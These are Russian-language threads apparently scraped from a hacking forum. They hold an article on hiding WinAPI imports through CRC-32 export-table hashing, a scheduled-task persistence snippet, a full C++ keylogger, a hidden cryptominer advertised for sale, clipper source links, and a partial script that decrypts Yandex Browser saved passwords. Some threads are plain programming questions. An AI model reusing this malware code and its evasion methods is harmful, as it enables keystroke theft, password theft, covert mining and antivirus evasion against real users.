Сегодня мы разберем один из самых простых и действенных методов скрытия вызовов WinAPI.Для полного понимания, как работает данный метод необходимо знать как устроен PE-формат.

Как работает данный метод?

Мы будем пробегаться по таблице экспорта системной библиотеки в которой содержится нужная API-функция , хешируя каждое название функции в таблице экспорта.Если хэши одной из функций и нашей функции будут совпадать - то мы нашли указатель на нужную нам функцию.В данном примере я буду использовать алгоритм хеширования CRC-32.У него есть пару минусов :

1585992249587.png

В реальных условиях желательно использовать другой алгоритм.

Теперь приступим к реализации, напишем функцию получения функции по хешу(все комментарии в коде):

Заголовочный файл:

Code:Copy to clipboard

#pragma once
#include <Windows.h>

LPVOID GetFuncByHash(LPCSTR pszLibrary, UINT uHash);

CPP-файл:

Code:Copy to clipboard

#include "cApiHash.h"
#include "cCRC32.h"


LPVOID GetFuncByHash(LPCSTR pszLibrary, UINT uHash) {

    //Загружаем библиотеку
    HINSTANCE hLibrary = GetModuleHandleA(pszLibrary);

    if (!hLibrary)
        return NULL;

    //Получаем DOS-заголовок и проверяем его на валидность
    PIMAGE_DOS_HEADER pDOSHdr = (PIMAGE_DOS_HEADER)hLibrary;

    if (pDOSHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return NULL;


    //Получаем PE-заголовок и проверяем его на валидность
    PIMAGE_NT_HEADERS pNTHdr = (PIMAGE_NT_HEADERS)((LPBYTE)hLibrary + pDOSHdr->e_lfanew);

    if (pNTHdr->Signature != IMAGE_NT_SIGNATURE)
        return NULL;

    if ((pNTHdr->FileHeader.Characteristics & IMAGE_FILE_DLL) == NULL ||
        pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == NULL ||
        pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size == NULL)
            return NULL;

    //Получаем смещение таблицы экспорта
    PIMAGE_EXPORT_DIRECTORY pIED = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)hLibrary +
        pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    PDWORD pdwAddress = (PDWORD)((LPBYTE)hLibrary + pIED->AddressOfFunctions);
    PDWORD pdwNames = (PDWORD)((LPBYTE)hLibrary + pIED->AddressOfNames);
    PWORD pwOrd = (PWORD)((LPBYTE)hLibrary + pIED->AddressOfNameOrdinals);

    //Разбираем таблицу экспорта
    for (DWORD i = 0; i < pIED->AddressOfFunctions; i++)
    {

        LPSTR pszFuncName = (LPSTR)((LPBYTE)hLibrary + pdwNames[i]);
        UINT32 u32FuncHash = cCRC32::Hash(pszFuncName, lstrlenA(pszFuncName));

        //Если хеши совпадают - возвращаем указатель
        if (u32FuncHash == uHash)
            return (LPVOID)((LPBYTE)hLibrary + pdwAddress[pwOrd[i]]);
      
    }
}

Теперь протестируем:

Code:Copy to clipboard

#include <Windows.h>
#include "cApiHash.h"

//Прототип функции которую хотим вызвать
typedef int(WINAPI* _MessageBoxA)(

    HWND hWND,
    LPCSTR pszText,
    LPCSTR pszCaption,
    UINT uType

);

VOID WINAPI Entry(VOID) {

    _MessageBoxA fpMessageBoxA = (_MessageBoxA)GetFuncByHash("user32.dll", 0x572D5D8E);
    fpMessageBoxA(NULL, "Hello xss.is", "xss.is", MB_OK);


}

Функция успешно вызвалась

1585994683986.png

Теперь взглянем на IAT

1585994553061.png

user32!MessageBoxA там не отображается.

Собственна все)

Реализация автозагрузки через планировщик, палит эсэт только.
ID: 6765d804b4103b69df375ac6
Thread ID: 32439
Created: 2019-10-12T08:01:21+0000
Last Post: 2019-11-25T21:29:40+0000
Author: ViCode
Prefix: Статья
Replies: 36 Views: 6K

C#
Одна из моих реализаций, стал эсэт палить.
1570867244238.png

C#:Copy to clipboard

                Process cmd_start = new Process
                {
                    StartInfo = new ProcessStartInfo
                ("cmd", $"/C schtasks /create /tn \\Windows /tr Temp /st 00:00 /du 9999:59 /sc once /ri 1 /f")
                };
                cmd_start.StartInfo.CreateNoWindow = true;
                cmd_start.StartInfo.UseShellExecute = false;
                cmd_start.Start();
Создание джоинера
ID: 6765d804b4103b69df375b6e
Thread ID: 13898
Created: 2006-12-02T11:56:36+0000
Last Post: 2008-11-22T23:21:34+0000
Author: MaD_Spirit
Replies: 13 Views: 6K

Привет.

Недавно видел статью (не помню где) по написанию своего джоинера на vb6

хотелось бы узнать - можно ли такую феню замутить на vc++6 или на bc 3.0?

вообще - как должен работать джоинер? как он совмещает файлы и как антивирус определяет их?

помогите пожалуйста

Написание собственного Backdoora. Вопросы.
ID: 6765d804b4103b69df375b76
Thread ID: 13377
Created: 2006-11-06T22:12:46+0000
Last Post: 2006-12-10T12:36:30+0000
Author: MekJack
Replies: 16 Views: 6K

Созрело несколько вопросов к бывалым программистам - хотел бы задать.
Если не понятно о чём я говорю, то возьмём к примеру Poison Ivy( ну или Pro Rat)...

1 На чём сейчас пишу интерфейс(рисование, обработка...)? MFC? Windows form? Win API :blink: ? ( вопрос не стоит воспринимать конкретно :) )

2 Какие сокеты в таком случае следует использовать? Обойтись блокированными или нет?

3 Как избежать подвисания программы( то есть спастись при плохом исходе). ( была мысль сделать отдельный следящий поток, но в случае обнаружения устроить перезапуск? Надо как-то убрать тогда старую программу...)

PS: создавая эту тему и написав название Backdoora со знаком " ' " между r и a

скрытый запуск программы
ID: 6765d804b4103b69df375b83
Thread ID: 10935
Created: 2006-08-26T19:27:10+0000
Last Post: 2006-10-28T22:45:01+0000
Author: MekJack
Replies: 19 Views: 6K

у меня цель, нужно на удалённом компе запустить программу незаметно(глазам хотя бы), то есть тоже самое что запустить и сразу на неё SW_SPOILER(как-то так). Вот вроде есть функция ShellExecute но толи не до конца разобрался, но получалось через раз. Какой надёжный способ это сделать? (собираюсь сам написать, но неоткажусь от какого-нибудь софта...)

И вопрос вдогонку: как можно расшарить файл( для общего доступа в сети ) максимально незаметно, да и вобще как это программно сделать?

:help: :D

[C#] ClipSE ( Clipper ) Build + Builder [ Source Code ]
ID: 6765d804b4103b69df375982
Thread ID: 34333
Created: 2020-01-13T23:09:31+0000
Last Post: 2021-08-09T09:29:48+0000
Author: r3xq1
Replies: 26 Views: 6K

Скриншот самого билдера ( под сам клиппер )

68747470733a2f2f622e726164696b616c2e72752f6231392f323030312f39612f6564643438303938636331302e70...png
Исходники Билд клиппера можно скачать тут: https://github.com/r3xq1/ClipSE_Build
Исходники Билдера под клиппер можно скачать по этой ссылке: https://github.com/r3xq1/ClipSE_Builder

C# Майнер, полный FUD в скантайме и хороший обход рантайм детектов.(V2)
ID: 6765d804b4103b69df375a33
Thread ID: 33494
Created: 2019-11-27T10:22:37+0000
Last Post: 2020-08-18T05:30:15+0000
Author: ViCode
Replies: 23 Views: 6K

Это вторая версия скрытого майнера на C#, первая тут: https://xss.is/threads/32232/
Переписан код, лучше адаптирован.
Майнит на всех доступных GPU и CPU

Вес тела: 145кб в основном из за библиотеки SharpZipLib без нее 12кб, можно ее и подгружать отдельно. Кому как.

На момент поста темы:

Сборка под ключ в jabber 20$: vicode@thesecure.biz (плюшки в коде прилагаются;) )
Спасибки сюда) BTC: 1KHjpcgT3F12AdLJLNKUb8Mwvemqk74aBr

Желательно юзать прокси xmrig.

You must have at least 50 message(s) to view the content.

Или

Paid content.

Purchase user upgrade "Покупка группы Premium" and view the buy tag without restrictions

Личных нет. не просите.

Книги C/C++, Windows API [ЗНАНИЕ – СИЛА]
ID: 6765d804b4103b69df3759cd
Thread ID: 26433
Created: 2018-11-01T09:11:43+0000
Last Post: 2021-03-14T10:34:30+0000
Author: rtkm
Replies: 10 Views: 5K

ЗНАНИЕ – СИЛА

1. Хорошая книга для начинающих **" Объектно-ориентированное программирование в С++" Роберт Лафоре [Скачать](http://databooks.review/obektno-orientirovannoe-programmirovanie-v- s-lafore-robert/)
2. **Хорошая книга по том как устроен Windows " Рихтер Дж., Назар К. - Windows via C C++. Программирование на языке Visual C++"Скачать
3. Хорошая книга по С, для начинающих то что надо. **" Язык С" Скачать
4. **Хорошая книга по том как устроен Windows **" Руссинович Устройство Microsoft. 6-е издание. Часть 2 " Скачать
5. **Книга по Native API. **" Windows NT(2000) Native API Reference[ENG]" Скачать
6. **Книга про разработку експлойтов " Modern Windows Exploit Development [ENG]" Скачать
7.
Так же интересная книга про эксплойты, шеллы для новичков " Защита от взлома: сокеты, эксплойты, shеll-код" [Скачать](http://www.securityscripts.ru/download/books/zashita-ot- vzloma.pdf)

Книги буду дополнять. Все сразу не вспомню :)
И просьба мемберов тоже дополнять, но те книги которые действительно вы читали, и знаете что книга хорошая. А то в большинстве, много воды и скукота :cool:

ZwLoadDriver
ID: 6765d804b4103b69df375a5f
Thread ID: 10712
Created: 2006-08-20T17:57:36+0000
Last Post: 2020-05-19T22:56:58+0000
Author: Great
Replies: 11 Views: 5K

Я решил написать прогу для загрузки драйвера =) Она дергает ZwLoadDriver
(или NtLoadDriver, что для ntdll без разницы) и, по идее, должна завершаться. Но не завершается. Процесс висит в памяти. Драйвер, как ни странно, грузится нормально. Причем процесс загрузчика не умирает даже после вызова ZwUnloadDriver другим процессом-выгрузчиком. Она так и должна работать или ее глючит? У меня уже 45 процессов-пустышек загрузчика висит :)))

зы. Код:

Code:Copy to clipboard

        LPCWSTR Driver  = L"\\registry\\machine\\system\\CurrentControlSet\\Services\\Driver";
        LPCWSTR DrvFile  = L"H:\\Progs\\driver\\Release\\Driver.sys";
        HKEY Key, Key2;
        LPTSTR Pth;
        DWORD dType;
        char Image[MAX_PATH];
        UNICODE_STRING ImageFile;
        lstrcpy(Image, "\\??\\");
        GetFullPathName(DrvFile, MAX_PATH, (LPTSTR)((DWORD)Image + 4), &Pth);
        dType = 1;
        RegOpenKey(HKEY_LOCAL_MACHINE, "system\\CurrentControlSet\\Services", &Key);
        RegCreateKey(Key, "Driver", &Key2);
        RegSetValueEx(Key2, "ImagePath", 0, REG_SZ, (LPBYTE)&Image, lstrlen(Image));
        RegSetValueEx(Key2, "Type", 0, REG_DWORD, (LPBYTE)&dType, sizeof(DWORD));
        RegCloseKey(Key2);
        RegCloseKey(Key);
        RtlInitUnicodeString(&ImageFile, Driver);
        ZwLoadDriver(&ImageFile);
Голосование, о чем написать статью?
ID: 6765d804b4103b69df375abf
Thread ID: 33440
Created: 2019-11-25T11:25:46+0000
Last Post: 2019-12-02T16:41:42+0000
Author: ViCode
Prefix: Статья
Replies: 20 Views: 5K

Думаю вы уже знакомы с моими статьями: Получаем тематические загрузки вашего exe без слива на ВТ вашей малвари, Клеем 2 программы в 1 без палева до запуска если да же ваши exe очень палятся АВ

Есть много направлений, уже без участия в конкурсе. Голосуем!

Статья какую бы не выбрали будет плотно зависеть от двух статей выше, и будут взаимосвязанны!

Почему C#?
Потому что! И не задавайте мне такие вопросы, буду игнорить. направление у меня такое. хочу и все.
А стоит ли? мой голос не чего не решит.
Ахренеть как решит, каждый голос важен.

Мое мнение, майнер) есть куда двигать тему по мимо майнера. Советую.

Автоматизация, или как быстро не деградировать
ID: 6765d804b4103b69df375ac3
Thread ID: 32938
Created: 2019-11-02T23:03:24+0000
Last Post: 2019-11-28T18:33:08+0000
Author: 2c71e9
Prefix: Статья
Replies: 10 Views: 5K

1572735683318.png

Данный материал показывает, как можно упростить жизнь и куда копать для этого. Мы все часто выполняем различные действия за компом, и как ленивые жопы иногда хочется чуток меньше делать действий. Мне как кодеру, частенько приходится считать контрольные суммы, к примеру md5. Ну и как истинный лентяй, я взял и нашел сайт, где можно онлайн считать. Но что делать если нет интернета, а еще более страшно, что эти сайты ведут логи. И короче как истинный хакер решил все упростить. И понял почему-бы не написать наипростейший бинарь, который в консоли будет считать это.

Вариантик для unix.

main.cpp

C++:Copy to clipboard

#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <iostream>
#include "md5.h"

using namespace std;

int main(int argc, char *argv[]) {
    string key;

    while(1){
        printf("Enter key : \n"); // вывести приглашение
        getline(cin,key); // прочитать строку
        cout << md5(key) << endl; // посчтитать и вывести результат
    }
    return 0;
}

Как видно, это очень просто)

github.com

[ md5/src at master · JackieTseng/md5

](https://github.com/JackieTseng/md5/tree/master/src)

The MD5 Algorithm implement by C++ -- Web Security Project - JackieTseng/md5

github.com github.com

Для винды я не проверял, но софт легко гуглится тоже.

github.com

[ GitHub - Wikinaut/md5.vbs: MD5 calculation (VisualBasic script for

calculating the md5 checksum of a string) ](https://github.com/Wikinaut/md5.vbs)

MD5 calculation (VisualBasic script for calculating the md5 checksum of a string) - Wikinaut/md5.vbs

github.com github.com

Библиотеку md5.h я тупо стырил с github. Все гуглится на ура. Опять же ввод параметров нам дает, чтобы данные не оседали в логах вашего bash.

Вы скажите, вот тебе делать нехер. Бери готовое да юзай. Ну во первых мы знаем что софт делает только то что нужно. А во вторых, мы просто не теряем навык, а может и что нить новое познаем. Я пока думал как сделать, выучил консоль от и до, как параметры передавать, как грабить выводы и так далее. Смысла описывать это все нету, есть учебники.

g++ main.cpp md5.cpp -o md5

Click to expand...

скомпилировали, и засунули в /usr/local/bin и теперь нашу программу можно вызывать из консоли) Ну здорово же, и быстро и анонимненько. Вот мы и создали простую команду для bash которая делат ваши действия. А что делать если нам нужно выполнять несколько команд подряд? Давай-те напишем простой баш скрипт.

#!/bin/bash

rm old.file
cp $1 old.file

Click to expand...

первая строка говорит что мы используем bash скрипт, далее идут список команд где можно передавать параметры с командной строки. через $1 $2 и так далее. Данный скрипт удаляет старый файл и копирует на его место какой скажете. Тоже все просто, теперь обзовем этот bash скрипт megacopy.sh и скопируем в туже папку /usr/local/bin/ и дадим права на запуск.

chmod +x /usr/local/bin/megacopy.sh

Click to expand...

И так можно автоматизировать почти все) То есть логику пилим на каком нибудь простом языке программировния, а либы можно использовать уже готовые. Так ваш мозг совсем не засохнет. С windows таже ситуация, ток консоль там дико не удобная, но есть vbs складываем в папочку и выполняем по клику. А параметры вводим через Dialog.

Или через bat файлы

![remontka.pro](/proxy.php?image=https%3A%2F%2Fremontka.pro%2Fimages%2Fmake- bat-file-windows.png&hash=44f8ffd04492265ec1c2a920e8661916&return_error=1)

[ Как создать bat файл в Windows ](https://remontka.pro/create-bat-file-

windows/)

Простая инструкция для начинающих о том, как создать командный файл bat, изменить его, запустить bat от имени администратора и об основных командах, которые могут пригодиться.

remontka.pro remontka.pro

Копипастить не хочу.

Вот к примеру обычный чекер прокси на питоне, набросал за 15 минут.

Python:Copy to clipboard

import requests

with open('result.txt', 'a') as result_file: # открываем файл для записи резултатов
    with open('proxy_list.txt') as f: # открываем файл с проксями
        for line in f: # читаем прокси по строчно
            proxy_url = line.rstrip('\r\n') # убираем концы строк
            proxies = {
                  "http": "http://"+proxy_url,
                  "https": "http://"+proxy_url,
            } # настраиваем прокси для конекта
            try:
                 r = requests.get("https://raw.githubusercontent.com/kelseyhightower/helloworld/master/README.md", proxies=proxies) # пытеамся приконектиться
                 body = str(r.content)
                 if "helloworld" in body: # если конект был удачный , записываем в файл и выводим прокси.
                      print(proxy_url)
                      result_file.write(line)
            except requests.exceptions.ConnectionError as errc:
                 continue
print ("end check") # завершаем программа

Программа по сути из 20 строчек ^_^ Самое интересное. что и остальные повседневные задачи занимают не больше кода. Все уже написано за вас! Нужно просто написать аогоритм и размять мозг. И не надо ни чего ни у кого покупать :cool:

URL для проверки взяли любой в виде raw файла в интернете, чтобы можно было чекнуть статус конекта и что получили данные. Можно конечно и по коду получать, если пришло 200. То прокси живая.
Ну и прокси списком в файле proxy_list.txt. Гитхаб случайный взял, где был маленький файл)

Вот собственно и все по одиночным командам. Но что делать если мы хотим выполнять наши команды к примеру раз в час или скрипты. В линуксе есть cron в windows есть планировщик.

Ну начнем опять же с линукса, мы создаем скрипт bash с командами.

Далее ставим родной планировщик, если не стоит

apt-get install crontab

Click to expand...

и идем в файл /etc/crontab и добавляем запись в конец

          • путь до файла который нужно выполнять
            - - - - -
            | | | | |
            | | | | ----- День недели (0 - 7)
            | | | ------- Месяц (1 - 12)
            | | --------- День месяца (1 - 31)
            | ----------- Час (0 - 23)
            ------------- Минуты (0 - 59)

Click to expand...

К примеру делаем * * * * * /home/user/restart_network.sh где последне это наш скрипт который мы написали
это будет означать что каждую минуту выполнятся наш скрипт

![www.cyberciti.biz](/proxy.php?image=https%3A%2F%2Fwww.cyberciti.biz%2Fmedia%2Fnew%2Ffaq%2F2006%2F04%2FLinux- cron-jobs-and-log- files.png&hash=f46e3abb415caacf129f010c4857ea41&return_error=1)

[ How To Add Jobs To cron Under Linux or UNIX

](https://www.cyberciti.biz/faq/how-do-i-add-jobs-to-cron-under-linux-or-unix- oses/)

A step by step guide for scheduling cron jobs and commands on Linux, *BSD, and Unix-like operating systems using crontab.

www.cyberciti.biz www.cyberciti.biz

для более детального изучения вот ссылка. Для windows все довольно проще, есть планировщик задач, с красивыми окошками для создание этого.

[ Запуск программ по расписанию с помощью планировщика Windows

](https://www.tirika.ru/articles/zapusk-programm-po-raspisaniyu/)

Как настроить Windows, чтобы он запускал определенную программу порасписанию, например, каждый час

www.tirika.ru

Для чего может понадобиться эта автоматизация?

Какие языки использовать:
Универсальные С++, python (пригодиться в жизни)
Или какие нибудь типа бейски шарпы, короче кому что нравиться.

Ну и самая главная мудрость "Из комбинации лени и логики получаются программисты. " До 7к не дотягивает, но копипастить не хочу. Хоть покликаете по ссылочкам ^_^

Из чего состоит wchar?
ID: 6765d804b4103b69df375ae0
Thread ID: 29618
Created: 2019-06-02T19:11:54+0000
Last Post: 2019-09-29T12:34:00+0000
Author: AsciiUnicode
Replies: 13 Views: 5K

Я с одним дурачком спорю тут, я за то что в байтах L"abc" выглядит так { 'a', 0, 'b', 0, 'c', 0, 0, 0 }, но он в это не верит, так кто прав?

Ищу исходник. По созданию builder'a
ID: 6765d804b4103b69df375aea
Thread ID: 27643
Created: 2019-02-04T12:46:04+0000
Last Post: 2019-08-26T13:13:08+0000
Author: nonameboy
Replies: 6 Views: 5K

Здравствуйте! Ищу исходники и мануалы
по созданию builder'a к своей программе.

p.s. желательно исходники на delphi и c++
если у кого есть, поделитесь.

Спасибо!

Что можно добавить в лоадер?
ID: 6765d804b4103b69df375b05
Thread ID: 28707
Created: 2019-04-10T23:00:53+0000
Last Post: 2019-04-14T17:41:58+0000
Author: LoveNikki
Replies: 27 Views: 5K

Пишу вот для интереса лоадер, сейчасашний функционал:
Download & Execute exe
Download & Execute dll
Process protection
Autorun
ну там код для обращения к панели и пр..

Вес билда: 3.5kb

Вот думаю тут, что можно ещё добавить и как бы сделать автозапуск чистым для ав.
Может подскажет кто?

Генератор ников
ID: 6765d804b4103b69df375b12
Thread ID: 27569
Created: 2019-01-30T15:59:07+0000
Last Post: 2019-02-06T04:19:48+0000
Author: Benihowy
Replies: 18 Views: 5K

Всем доброго времени суток. Появилась такая идея, как написать генератор слов, которые не будут иметь смысла (слоаврь). Речь идет про ники, как игровые так и форумные. Да, есть сайты, которые уже заточены под это. Но мне хочется самому написать. Я пишу на менее популярном языке нежели Си, потоэму мне важна сама идея. Буду рад услышать ваши мнения.

Идеи для своих программ на C++
ID: 6765d804b4103b69df375b18
Thread ID: 27167
Created: 2019-01-06T19:13:28+0000
Last Post: 2019-01-17T13:46:28+0000
Author: Gasplyak
Replies: 16 Views: 5K

Товарищи единомышленники! Подкиньте, пожалуйста, идеи для своих программ на С++ для практики, в голову совсем ничего не лезет, а скилл качать нужно!
Всем заранее спасибо и всех с Рождеством!

anti debug
ID: 6765d804b4103b69df375b4d
Thread ID: 19172
Created: 2010-03-18T14:27:01+0000
Last Post: 2011-07-14T16:40:38+0000
Author: corsac
Replies: 13 Views: 5K

Может кто набросать примеры антиотладочных приемов на С без применения асма или с минимальным применением.

нужен сорец decode из base64 на с++
ID: 6765d804b4103b69df375b62
Thread ID: 18099
Created: 2009-08-05T13:31:50+0000
Last Post: 2010-02-04T18:04:43+0000
Author: karabas-barabas
Replies: 17 Views: 5K

Нужен сорец декодирования данных из base64 на с++, желательно без использования хедеров типа stdio.h, string и namespace std , у кого есть буду благодарен

p.s. покопайтесь в своих тайничках :rolleyes:

сорец bind shell c++
ID: 6765d804b4103b69df375b69
Thread ID: 16936
Created: 2009-02-16T09:17:32+0000
Last Post: 2009-04-23T17:04:26+0000
Author: karabas-barabas
Replies: 11 Views: 5K

Нужны сорцы bind shella рабочего у кого есть интересные реализации, вообщем перепробовал я много исходников , нашел один более менее не глючный, но невозможно работать с ftp.exe через cmd на компе жертвы, а по-другому файл залить никак , если нет сорцов можно у кого есть какие идеи как можно залить файл через команды cmd.exe...

помогите мне с С++
ID: 6765d804b4103b69df375b8f
Thread ID: 10705
Created: 2006-08-20T11:59:58+0000
Last Post: 2006-08-26T10:51:06+0000
Author: konstantin_frolov
Replies: 15 Views: 5K

Я прошу вас не смеятся надо мной за этот вопрос но я просто только вчера начал изучать этот язык поэтому у меня есть такой вопрос :( .

Допустим я построил вот такой крак ме :

Code:Copy to clipboard

#include <iostream.h>

int main()
{
int pass = 111111111111111111111111;
int mbpswd;
cout << "input password: ";
cin >> mbpswd;
if (mbpswd == 111111111111111111111111)
{
cout << "bla";
}
else
{
cout << "blablabla";
}
return 0;
}

Этот код говорит о том что пароль должен быть цифрой но что если я хочу например сделать его буквами (например damagelab).
Какой мне код тогда надо написать?

Локальный келоггер на С++
ID: 6765d804b4103b69df375b6b
Thread ID: 17194
Created: 2009-03-21T10:54:56+0000
Last Post: 2009-04-01T14:35:51+0000
Author: BlagJack
Replies: 12 Views: 5K

Без всяких ДЛЛ . :)

Code:Copy to clipboard

#define _WIN32_WINNT 0x1337

#include <fstream>
#include <windows.h>

using namespace std;

HHOOK keyboardHook;

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
	PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

	// If key is being pressed
	if (wParam == WM_KEYDOWN) {
        
        ofstream out("keys.txt", ios::app);
        
  switch (p->vkCode) {

  	// Invisible keys
  	case VK_CAPITAL:	out << "[CAPLOCK]";  break;
  	case VK_LSHIFT:  out << "[LSHIFT]";  break;
  	case VK_RSHIFT:  out << "[RSHIFT]";  break;
  	case VK_LCONTROL:	out << "[LCTRL]";  break;
  	case VK_RCONTROL:	out << "[RCTRL]";  break;
  	case VK_INSERT:  out << "[INSERT]";  break;
  	case VK_END:  out << "[END]";  	break;
  	case VK_PRINT:  out << "[PRINT]";  break;
  	case VK_DELETE:  out << "[DEL]";  	break;
  	case VK_BACK:  out << "[BK]";  	break;

  	case VK_LEFT:  out << "[left]";  break;
  	case VK_RIGHT:  out << "[right]";  break;
  	case VK_UP:  	out << "[UP]";  	break;
  	case VK_DOWN:  out << "[DOWN]";  break;

  	// Visible keys
  	default:
    out << "[" << char(p->vkCode) << "]";
    

  }
  out.close();
	}

	return CallNextHookEx(NULL, nCode, wParam, lParam);
}

void keepAlive()
{
    MSG message;
    while (GetMessage(&message,NULL,0,0))
    {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
    
	keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0);

    keepAlive();
    
    UnhookWindowsHookEx(keyboardHook);

	return 0;
}
Вязовик Н.А. - Программирование на Java (2003)(ru)
ID: 6765d804b4103b69df375b6f
Thread ID: 15124
Created: 2008-06-08T10:20:49+0000
Last Post: 2008-06-08T10:20:49+0000
Author: Pr1_Zr4k
Prefix: Мануал/Книга
Replies: 0 Views: 5K

Недавно стало нужно начать изучать азы java по работе, вот наткнулся на книгу Вязовика Н.А. Материал изложен ввиде курса лекций, после каждой главы, идут задания. Ну это вкратце от меня. Вот официальное краткое содержание, так сказать:

Данное руководство предназначено для преподавателей информатики в ВУЗах России, принимающих участие по постановке курсов преподавания Java в рамках программы поддержания процесса обучения информационным технологиям в ВУЗах, представленной представительством компании Sun Microsystems в странах СНГ и Московским физико-техническим институтом (МФТИ). Рекомендовано УМО в области прикладной информатики для студентов высших учебных заведений, обучающихся по специальности 351400 "Прикладная информатика".
Методика преподавания опирается на четырехлетний опыт преподавания курсов по Java студентам МФТИ. По инициативе Sun Microsystems курс переработан таким образом, чтобы максимально облегчить процесс сертификации по Java для студентов, прослушавших курс. При подготовке курсов использован опыт создания информационных систем на основе Java технологий, накопленный Центром Sun технологий МФТИ и Центром открытых систем и высоких технологий МФТИ. Предлагается переподготовка преподавателей для чтения курсов по Java на основе совместного учебного центра Sun Microsystems и Центра дополнительного профессионального образования МФТИ.

Click to expand...

Вязовик Н.А. - Программирование на Java (2003)(ru) скачать

В чем отличие MS Visual C++ 7.0 от 6.0
ID: 6765d804b4103b69df375b87
Thread ID: 10121
Created: 2006-03-08T12:06:36+0000
Last Post: 2006-10-23T15:09:00+0000
Author: Dude03
Replies: 14 Views: 5K

Люди ответьте плз на один вопрос:
Что за MS Visual C++ 7.0 ? Его отличие от 6 и стоит ли на него переходить, если пишу в 6...
Заранее благодарю

PE Editor
ID: 6765d804b4103b69df375b74
Thread ID: 14264
Created: 2006-12-05T23:10:46+0000
Last Post: 2008-02-11T18:00:02+0000
Author: Great
Replies: 9 Views: 5K

PE Editor 1.4-beta
Бета-версия моего собственного редактора PE заголовков.
Возможности:

Исходники и бинарник доступны тут: http://cribble.by.ru/peeditor-1.4-beta/

Кодинг С++ под никсы...
ID: 6765d804b4103b69df375b79
Thread ID: 14275
Created: 2006-12-06T14:56:01+0000
Last Post: 2006-12-07T14:06:58+0000
Author: dampil
Replies: 10 Views: 5K

Народ, расскажите какая разница в кодинге под винду и никсы ? Как запустить к примеру с веб шелла прогу на сишке на никсах ? Или книгу какую подкиньте, заранее спасибо.

вопросы вирусмейкерам
ID: 6765d804b4103b69df375b8b
Thread ID: 6725
Created: 2006-01-26T14:07:43+0000
Last Post: 2006-09-19T20:32:41+0000
Author: ULTRA
Replies: 10 Views: 5K

ось -винда, язык с++, формат ехе
1. В какую ветку реестра лучше поцепить автозагрузку ?
2. Как обойти обнаружение инжекции в другой процес со стороны винды и антивиров (файрволов ) ?
3. Какие есть способы иньекции кроме методом создания удаленного процеса и копирования туда блока кода ?
4. Почему иногда при инжекции кода в чужой процес тот аварийно завершается, код инжектится в высокие участки помяти

не пойму, общий вопрос
ID: 6765d804b4103b69df375b7f
Thread ID: 13492
Created: 2006-11-08T22:19:10+0000
Last Post: 2006-11-09T22:26:58+0000
Author: GaLLe0n
Replies: 14 Views: 5K

Вот я сижу, и думаю какую книгу по С++ заказать, и кое что не пойму.
Вот взять delphi, всем известно что разработчик - Borland.
Взять Visual Basic, всем известно что разработчик - Microsoft.
А если взять С++?
Есть книги с названиями C++ builder, Borland C++, Visual C++, и просто С++.
Так в чём разница? О каком С++ говорится в книгах С++ builder, и где просто
название С++?
Таже самая история с С#.
А, кстати, что насчёт С#, почему везде написано, что разработчиком С#
является микрософт, тогда откуда у Borland'a он тоже есть?
Жду ответов, заранее СПС.
И, если не затруднит, предложите хорошие интернет магазины книг с доставкой и относительно хорошими ценами ;)

Грамотное использование сокетов, примеры
ID: 6765d804b4103b69df375b82
Thread ID: 12707
Created: 2006-10-19T17:11:20+0000
Last Post: 2006-11-03T19:46:38+0000
Author: MekJack
Replies: 16 Views: 5K

Пытаюсь разобраться с winsock2, принцип работы понятен, но не могу найти примеров реального полноценного использования асинхронных сокетов( с проверкой ошибок и.т.п.), или какую-нибудь статью(ток не целую книгу).

Особенно интересует пример простого чата, или remote admina(типа того), или backdoora....

Просто не хочется наступать на уже известные грабли, а я так чувствую их тут не мало...

единый ЯндексБраузера тред
ID: 6765d804b4103b69df375694
Thread ID: 107429
Created: 2024-02-04T06:16:10+0000
Last Post: 2024-12-08T09:32:53+0000
Author: N3tSh4d0w
Replies: 44 Views: 5K

Бесит. Очень бесит. Хочется расшифровать. Пока что вот какие мысли удалось собрать в кучу:

После декрипта DPAPIой мастер ключа, можно двигаться в Ya Passman Data, в которой у нас есть необычный блоб,
которого нет в ориг Хроме, по v10 можно сделать выводы, что тут у нас сам черт велел покапаться с аесом?

1707027322433.png

Code:Copy to clipboard

def passwords():
    try:
        conn = sqlite3.connect("Ya Passman Data")
        cursor = conn.cursor()
        cursor.execute("SELECT value FROM main.meta WHERE key='local_encryptor_data'")

Что думаете чертяки? Пока код такой:

Code:Copy to clipboard

import os
import sqlite3
import time
from Crypto.Cipher import AES
import json
import base64
from win32crypt import CryptUnprotectData

# Функция для извлечения паролей
def passwords():
    try:
        conn = sqlite3.connect("Ya Passman Data")
        cursor = conn.cursor()
        cursor.execute("SELECT value FROM main.meta WHERE key='local_encryptor_data'")

        # Получаем одну запись из результата запроса
        value = cursor.fetchone()

        # Проверяем, что значение было найдено
        if value is not None:
            local_encryptor_data = value[0]  # Извлекаем значение из кортежа
            master_key = get_master_key()
            decrypted_password = experiment_decrypt(local_encryptor_data, master_key)

            # Представляем байты в разных форматах
            hex_representation = decrypted_password.hex()
            ansi_representation = decrypted_password.decode('latin-1')
            length = len(decrypted_password)

            print(f"Decrypted Password (Hex): {hex_representation}")
            print(f"Decrypted Password (ANSI): {ansi_representation}")
            print(f"Decrypted Password Length: {length} bytes")
        else:
            print("Значение не найдено в базе данных")
        conn.close()
    except Exception as e:
        print(f"[!] Unknown Error: {e}")


def get_master_key():
    with open("Local State", "r", encoding="utf-8") as f:
        c = f.read()
    local_state = json.loads(c)
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    key = key[5:]
    key = CryptUnprotectData(key, None, None, None, 0)[1]
    return key

# Функция для проведения эксперимента с IV
def experiment_decrypt(buffer, master_key):
    try:
        iv = buffer[0:12]
        payload = buffer[15:]
